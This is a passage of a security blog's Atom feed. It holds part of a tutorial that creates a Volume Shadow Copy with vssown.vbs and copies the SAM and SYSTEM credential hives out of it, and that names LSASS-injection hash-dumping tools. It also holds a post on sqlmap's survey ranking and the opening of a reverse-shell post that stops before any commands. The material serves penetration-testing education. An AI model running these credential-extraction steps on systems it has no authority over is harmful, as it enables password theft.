&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;cscript vssown.vbs /list&lt;br /&gt;Microsoft (R) Windows Script Host Version 5.8&lt;br /&gt;Copyright (C) Microsoft Corporation. All rights reserved.&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SHADOW COPIES&lt;br /&gt;=============&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
As expected, no shadow copies initially.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Verify the status of the Volume Shadow Service (VSS):&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;cscript vssown.vbs /status&lt;br /&gt;Microsoft (R) Windows Script Host Version 5.8&lt;br /&gt;Copyright (C) Microsoft Corporation. All rights reserved.&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[*] Stopped&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;cscript vssown.vbs /mode&lt;br /&gt;Microsoft (R) Windows Script Host Version 5.8&lt;br /&gt;Copyright (C) Microsoft Corporation. All rights reserved.&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[*] VSS service set to &#39;Manual&#39; start mode.&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
In this case, once we are done, we need to restore it to the initial state (&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Stopped&lt;/span&gt;).&lt;/div&gt;
&lt;div&gt;
Create a new shadow copy:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;cscript vssown.vbs /create&lt;br /&gt;Microsoft (R) Windows Script Host Version 5.8&lt;br /&gt;Copyright (C) Microsoft Corporation. All rights reserved.&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[*] Attempting to create a shadow copy.&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
Verify that the shadow copy has been created:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;cscript vssown.vbs /list&lt;br /&gt;Microsoft (R) Windows Script Host Version 5.8&lt;br /&gt;Copyright (C) Microsoft Corporation. All rights reserved.&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SHADOW COPIES&lt;br /&gt;=============&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[*] ID: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;b&gt;{D79A4E73-CCAB-4151-B726-55F6C5C3A853}&lt;/b&gt;&lt;br /&gt;[*] Client accessible: &amp;nbsp; True&lt;br /&gt;[*] Count: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1&lt;br /&gt;[*] Device object: &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1&lt;/b&gt;&lt;br /&gt;[*] Differnetial: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;True&lt;br /&gt;[*] Exposed locally: &amp;nbsp; &amp;nbsp; False&lt;br /&gt;[*] Exposed name:&lt;br /&gt;[*] Exposed remotely: &amp;nbsp; &amp;nbsp;False&lt;br /&gt;[*] Hardware assisted: &amp;nbsp; False&lt;br /&gt;[*] Imported: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;False&lt;br /&gt;[*] No auto release: &amp;nbsp; &amp;nbsp; True&lt;br /&gt;[*] Not surfaced: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;False&lt;br /&gt;[*] No writers: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;True&lt;br /&gt;[*] Originating machine: LAPTOP&lt;br /&gt;[*] Persistent: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;True&lt;br /&gt;[*] Plex: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;False&lt;br /&gt;[*] Provider ID: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {B5946137-7B9F-4925-AF80-51ABD60B20D5}&lt;br /&gt;[*] Service machine: &amp;nbsp; &amp;nbsp; LAPTOP&lt;br /&gt;[*] Set ID: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{018D7854-5A28-42AE-8B10-99138C37112F}&lt;br /&gt;[*] State: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 12&lt;br /&gt;[*] Transportable: &amp;nbsp; &amp;nbsp; &amp;nbsp; False&lt;br /&gt;[*] Volume name: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; \\?\Volume{46f5ef63-8cca-11e0-88ac-806e6f6e6963}\&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
You need to take note of the &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Device object&lt;/span&gt; value for the next step and the &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;ID&lt;/span&gt; for the cleanup step.&lt;/div&gt;
&lt;div&gt;
Pull the following files from a shadow copy:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
You have just copied over &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SAM&lt;/span&gt; and &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SYSTEM&lt;/span&gt; files from the shadow copy to the &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&lt;/span&gt;&amp;nbsp;root folder.&lt;/div&gt;
&lt;div&gt;
Cleanup:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;cscript vssown.vbs /delete {D79A4E73-CCAB-4151-B726-55F6C5C3A853}&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Microsoft (R) Windows Script Host Version 5.8&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Copyright (C) Microsoft Corporation. All rights reserved.&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[*] Attempting to delete shadow copy with ID: {D79A4E73-CCAB-4151-B726-55F6C5C3A853}&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
Eventually, restore to original &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Stop&lt;/span&gt; status:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;cscript vssown.vbs /stop&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Microsoft (R) Windows Script Host Version 5.8&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Copyright (C) Microsoft Corporation. All rights reserved.&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[*] Signal sent to stop the VSS service.&lt;/span&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;In-memory technique&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The concept behind in-memory dump of SAM hashes it to inject a DLL into the &lt;a href=&quot;http://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service&quot;&gt;LSASS&lt;/a&gt; system process or, generally speaking, parsing the memory for specific patterns and inspect these memory pages&#39; content. The former action can lead to a &lt;a href=&quot;http://en.wikipedia.org/wiki/Blue_Screen_of_Death&quot;&gt;Blue Screen of Death&lt;/a&gt; (BSoD) condition following a crash of the LSASS process therefore this action is not recommended on production environments: prefer registry hive copy (regback.exe and reg.exe/regedit.exe) and Volume Shadow Copies techniques instead.&amp;nbsp;Nevertheless, in some specific instances, the in-memory technique is required.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The most widely known standalone tool to dump SAM hashes is probably&amp;nbsp;&lt;a href=&quot;http://www.foofus.net/~fizzgig/fgdump/&quot;&gt;&lt;b&gt;fgdump&lt;/b&gt;&lt;/a&gt;,&amp;nbsp;the successor of&amp;nbsp;&lt;a href=&quot;http://www.foofus.net/~fizzgig/pwdump/&quot;&gt;&lt;b&gt;pwdump6&lt;/b&gt;&lt;/a&gt;, both tools developed by&amp;nbsp;the&amp;nbsp;&lt;a href=&quot;http://www.foofus.net/&quot;&gt;foofus team&lt;/a&gt;. The main advantage of fgdump over pwdump6 is that it works on Windows Vista and later versions. Although, I have seen them both failing under some circumstances. More reliable tools include &lt;a href=&quot;http://www.tarasco.org/security/pwdump_7/index.html&quot;&gt;&lt;b&gt;pwdump7&lt;/b&gt;&lt;/a&gt; from &lt;a href=&quot;http://www.tarasco.org/security/index.html&quot;&gt;Andres Tarasco&lt;/a&gt; and the &lt;b&gt;&lt;a href=&quot;http://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5&quot;&gt;gsecdump&lt;/a&gt;&lt;/b&gt; from &lt;a href=&quot;http://www.truesec.se/&quot;&gt;TrueSec&lt;/a&gt;. Both work on 32-bit and 64-bit systems across all versions of Windows. Although, the former cannot successfully dump users&#39; password hashes on domain controllers as it reads the SAM hashes from the registry rather than injecting into LSASS process. Despite not working on 64-bit systems, another popular and reliable tool is &lt;a href=&quot;http://packetstormsecurity.org/files/62371/PWDumpX14.zip&quot;&gt;&lt;b&gt;PWDumpX&lt;/b&gt;&lt;/a&gt;&amp;nbsp;by &lt;a href=&quot;http://packetstormsecurity.org/files/author/3749/&quot;&gt;Reed Arvin&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
The following screen-shot shows the dump of SAM users with&amp;nbsp;&lt;a href=&quot;http://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5&quot;&gt;gsecdump&lt;/a&gt;&amp;nbsp;on a Windows Server 2003 SP2 32-bit:&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIpQCYueufYXrZzGjUrUfRhBu5PE3nwzf411FYEU-PedsD8iLMQ2rQdwg7y4Xm1NVnfbt6msYI1805mPXLrET6U7qg4cRDZ1_2u_rsdG0mAkmiyA4bTl5Uz82jDJO_uOfNoWfReQPnfPw/s1600/gsecdump_w2k3_32bit_dump_local_users.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;382&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIpQCYueufYXrZzGjUrUfRhBu5PE3nwzf411FYEU-PedsD8iLMQ2rQdwg7y4Xm1NVnfbt6msYI1805mPXLrET6U7qg4cRDZ1_2u_rsdG0mAkmiyA4bTl5Uz82jDJO_uOfNoWfReQPnfPw/s640/gsecdump_w2k3_32bit_dump_local_users.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Dump of local users with &lt;a href=&quot;http://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5&quot;&gt;gsecdump&lt;/a&gt; by code injection into the LSASS process&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The &lt;a href=&quot;http://www.metasploit.com/&quot;&gt;Metasploit Framework&lt;/a&gt; also has its own &lt;b&gt;&lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/smart_hashdump.rb&quot;&gt;post-exploitation&lt;/a&gt; &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/hashdump.rb&quot;&gt;modules&lt;/a&gt;&lt;/b&gt;,&amp;nbsp;Meterpreter &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb&quot;&gt;&lt;b&gt;built-in command&lt;/b&gt;&lt;/a&gt; and dated&amp;nbsp;Meterpreter &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/scripts/meterpreter/hashdump.rb&quot;&gt;&lt;b&gt;script&lt;/b&gt;&lt;/a&gt;&amp;nbsp;to dump the SAM hashes. Details on how these pieces of code work within the framework and which techniques they implement can be found on &lt;a href=&quot;https://community.rapid7.com/community/metasploit/blog/2010/01/01/safe-reliable-hash-dumping&quot;&gt;these&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;https://community.rapid7.com/community/metasploit/blog/2009/12/30/exporting-the-registry-for-fun-and-profit&quot;&gt;blog posts&lt;/a&gt; by &lt;a href=&quot;http://digitaloffense.net/&quot;&gt;HD Moore&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Needless to say that there are more options&amp;nbsp;and knowledge of which one to use within the target environment is important.&amp;nbsp;In order to facilitate this task, I have listed the relevant tools, their capabilities, where they do work and, most importantly, where they are known to fail on &lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc&quot;&gt;&lt;b&gt;this spread-sheet&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Updates on January 4, 2012&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/thelightcosine&quot;&gt;David Maloney&lt;/a&gt; has committed recently to the&amp;nbsp;&lt;a href=&quot;http://www.metasploit.com/&quot;&gt;Metasploit Framework&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/manage&quot;&gt;post modules&lt;/a&gt; to manage &lt;a href=&quot;https://community.rapid7.com/community/solutions/metasploit/blog/2012/01/04/metasploit-updated-year-in-review&quot;&gt;Volume Shadow Copy&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.truesec.se/&quot;&gt;TrueSec&lt;/a&gt;&amp;nbsp;has recently updated &lt;a href=&quot;http://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5&quot;&gt;gsecdump&lt;/a&gt; to v&lt;b&gt;2.0b5&lt;/b&gt;. This version works reliably across all Windows versions on both 32-bit and 64-bit architecture.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/3867072356339579490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/3867072356339579490' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/3867072356339579490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/3867072356339579490'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html' title='Dump Windows password hashes efficiently - Part 1'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIpQCYueufYXrZzGjUrUfRhBu5PE3nwzf411FYEU-PedsD8iLMQ2rQdwg7y4Xm1NVnfbt6msYI1805mPXLrET6U7qg4cRDZ1_2u_rsdG0mAkmiyA4bTl5Uz82jDJO_uOfNoWfReQPnfPw/s72-c/gsecdump_w2k3_32bit_dump_local_users.PNG" height="72" width="72"/><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-1251233665896302958</id><published>2011-11-10T20:07:00.000+00:00</published><updated>2011-12-20T17:44:15.253+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="books"/><category scheme="http://www.blogger.com/atom/ns#" term="burp"/><category scheme="http://www.blogger.com/atom/ns#" term="community"/><category scheme="http://www.blogger.com/atom/ns#" term="nmap"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap"/><category scheme="http://www.blogger.com/atom/ns#" term="tool"/><category scheme="http://www.blogger.com/atom/ns#" term="top"/><category scheme="http://www.blogger.com/atom/ns#" term="w3af"/><title type='text'>The top 125 computer security tools</title><content type='html'>The security community has &lt;a href=&quot;http://twitter.com/#!/nmap/status/132567339911741440&quot;&gt;spoken&lt;/a&gt;!&amp;nbsp;About 3,000 people have rated the best and most widely used computer security tools.&amp;nbsp;The &lt;a href=&quot;http://nmap.org/&quot;&gt;Nmap project&lt;/a&gt; has collected the results of their survey in a relaunched version of their &lt;a href=&quot;http://sectools.org/&quot;&gt;SecTools.org&lt;/a&gt; project: &lt;b&gt;Top 125 Network Security Tools&lt;/b&gt;.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://sqlmap.org/&quot;&gt;sqlmap&lt;/a&gt; has made it to place&amp;nbsp;&lt;a href=&quot;http://sectools.org/tool/sqlmap/&quot;&gt;&lt;b&gt;#30&lt;/b&gt;&lt;/a&gt;&amp;nbsp;overall: a great result considering that it is a two-developers only project driven by passion, developed in our own spare time&amp;nbsp;and with a large community of supporters, testers and enthusiasts.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The previous &lt;a href=&quot;http://sectools.org/&quot;&gt;SecTools.org&lt;/a&gt; survey was dated 2006, when sqlmap project was just started and unknown to the most. In &amp;nbsp;&lt;a href=&quot;http://sqlmap.org/doc/README.html#s3&quot;&gt;five years&lt;/a&gt; the tool has evolved from a few hundred of lines of code to a &lt;a href=&quot;http://www.ohloh.net/p/sqlmap/analyses/latest&quot;&gt;massive python tool&lt;/a&gt;, versatile and powerful. The security community has acknowledged this: it is the only tool in the list to combine SQL injection detection, data analysis and database takeover capabilities against numerous database management systems despite a &lt;a href=&quot;http://www.google.com/search?q=sql+injection+tools&quot;&gt;lot of others similar tool&lt;/a&gt; have been developed throughout the years.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I found particularly interesting that many people highly rated web proxies in the &lt;a href=&quot;http://sectools.org/tag/web-scanners/&quot;&gt;web scanners category&lt;/a&gt;: &lt;b&gt;3&lt;/b&gt; of the top 5 tools are web proxies. I read it as a positive sign: it means to me that manual testing is the preferred way&amp;nbsp;by many&amp;nbsp;to perform web application assessments as opposed to fully automated web scanners that, for the sake of clarity, can not cover business logic flaws by their design nature, hardly identify session management issues and struggle with multiple user levels&#39; access control list enforcement verification.&lt;/div&gt;
&lt;div&gt;
The &lt;a href=&quot;http://sectools.org/tool/burpsuite/&quot;&gt;#1&lt;/a&gt; tool in the category is &lt;a href=&quot;http://portswigger.net/&quot;&gt;Burp Suite&lt;/a&gt;, a tool that I use on many web application and web service penetration testing engagements. A tool that eases and assists me in the process of carefully and manually assessing the security of web applications. Congratulations to &lt;a href=&quot;http://twitter.com/portswigger&quot;&gt;Dafydd Stuttard&lt;/a&gt; for his great work!&lt;/div&gt;
&lt;div&gt;
sqlmap scored &lt;b&gt;6th&lt;/b&gt; place in this category, ahead of &lt;a href=&quot;http://sectools.org/tool/acunetix/&quot;&gt;several&lt;/a&gt; &lt;a href=&quot;http://sectools.org/tool/appscan/&quot;&gt;commercial&lt;/a&gt; &lt;a href=&quot;http://sectools.org/tool/netsparker/&quot;&gt;web&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;http://sectools.org/tool/webinspect/&quot;&gt;scanners&lt;/a&gt; backed by big companies and developed by dozen of people. People could argue that this is because sqlmap is free so more people have access to it, fair point. I like to think that it scored high also because it addresses one single web application vulnerability type, the &lt;a href=&quot;http://cwe.mitre.org/top25/index.html#CWE-89&quot;&gt;most&lt;/a&gt; &lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2010-A1&quot;&gt;critical&lt;/a&gt;, and does it damn well in the &lt;a href=&quot;http://sqlmap.sourceforge.net/doc/README.html&quot;&gt;right hands&lt;/a&gt;. On top, we have added a lot of features, takeover functionalities, coverage for many database management systems and several optimizations.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Out of 11 tools in the &lt;a href=&quot;http://sectools.org/tag/sploits/&quot;&gt;sploits category&lt;/a&gt;, sqlmap was rated&amp;nbsp;&lt;b&gt;4th&lt;/b&gt;: another great&amp;nbsp;result in my opinion. Like &lt;a href=&quot;http://metasploit.com/&quot;&gt;Metasploit&lt;/a&gt;&amp;nbsp;framework (#1 of the category) and &lt;a href=&quot;http://w3af.sourceforge.net/&quot;&gt;w3af&lt;/a&gt;&amp;nbsp;(#3 of the category), it is open source. It&#39;s the only niche tool focusing on exploiting SQL injections, database design flaws and their mis-configurations against a variety of database software.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
sqlmap would not be the great tool that it is today without its users&#39; base. I want to thank everyone that have &lt;a href=&quot;https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/THANKS&quot;&gt;contributed &lt;/a&gt;during the last five years with moral support, detailed feedback, overly appreciated patches, bug reports and acclaiming it publicly as a very handy and valuable tool.&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Greetings also to the authors of&amp;nbsp;&lt;a href=&quot;http://goo.gl/TNIQc&quot;&gt;renowned books&lt;/a&gt;&amp;nbsp;for citing and reviewing sqlmap. These include the recently revamped&amp;nbsp;&lt;a href=&quot;http://mdsec.net/wahh/&quot;&gt;The Web Application Hacker&#39;s Handbook&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href=&quot;http://www.amazon.com/Injection-Attacks-Defense-Justin-Clarke/dp/1597494240&quot;&gt;SQL injection attacks and defense&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://www.blogger.com/&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/1251233665896302958/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/1251233665896302958' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/1251233665896302958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/1251233665896302958'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2011/11/top-125-computer-security-tools.html' title='The top 125 computer security tools'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-6624864116485251004</id><published>2011-09-14T08:58:00.000+01:00</published><updated>2011-12-20T17:43:48.733+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bash"/><category scheme="http://www.blogger.com/atom/ns#" term="connection"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="nc"/><category scheme="http://www.blogger.com/atom/ns#" term="netcat"/><category scheme="http://www.blogger.com/atom/ns#" term="perl"/><category scheme="http://www.blogger.com/atom/ns#" term="reverse"/><category scheme="http://www.blogger.com/atom/ns#" term="ruby"/><category scheme="http://www.blogger.com/atom/ns#" term="shell"/><category scheme="http://www.blogger.com/atom/ns#" term="solaris"/><category scheme="http://www.blogger.com/atom/ns#" term="telnet"/><category scheme="http://www.blogger.com/atom/ns#" term="xterm"/><title type='text'>Reverse shells one-liners</title><content type='html'>Inspired by the great &lt;a href=&quot;http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&quot;&gt;blog post&lt;/a&gt; by &lt;a href=&quot;http://pentestmonkey.net/&quot;&gt;pentestmonkey.net&lt;/a&gt;, I put together the following extra methods and alternatives for some methods explained in the cheat sheet. There is nothing cutting edge, however you may find this handy during your penetration tests.&lt;br /&gt;
&lt;br /&gt;
Citing pentestmonkey&#39;s blog post:&lt;br /&gt;
&lt;blockquote&gt;
&lt;i&gt;If you’re lucky enough to find a command 
execution&amp;nbsp;vulnerability&amp;nbsp;during a penetration test, pretty soon 
afterwards you’ll probably want an interactive shell. &lt;/i&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;i&gt;[...] &lt;b&gt;your next step is likely to be either throwing back a 
reverse shell&lt;/b&gt; or binding a shell to a TCP port. &lt;/i&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;i&gt;Your options for creating a reverse shell are limited by the scripting 
languages installed on the target system – though you could probably 
upload a binary program too if you’re suitably well prepared.&lt;/i&gt;&lt;/blockquote&gt;
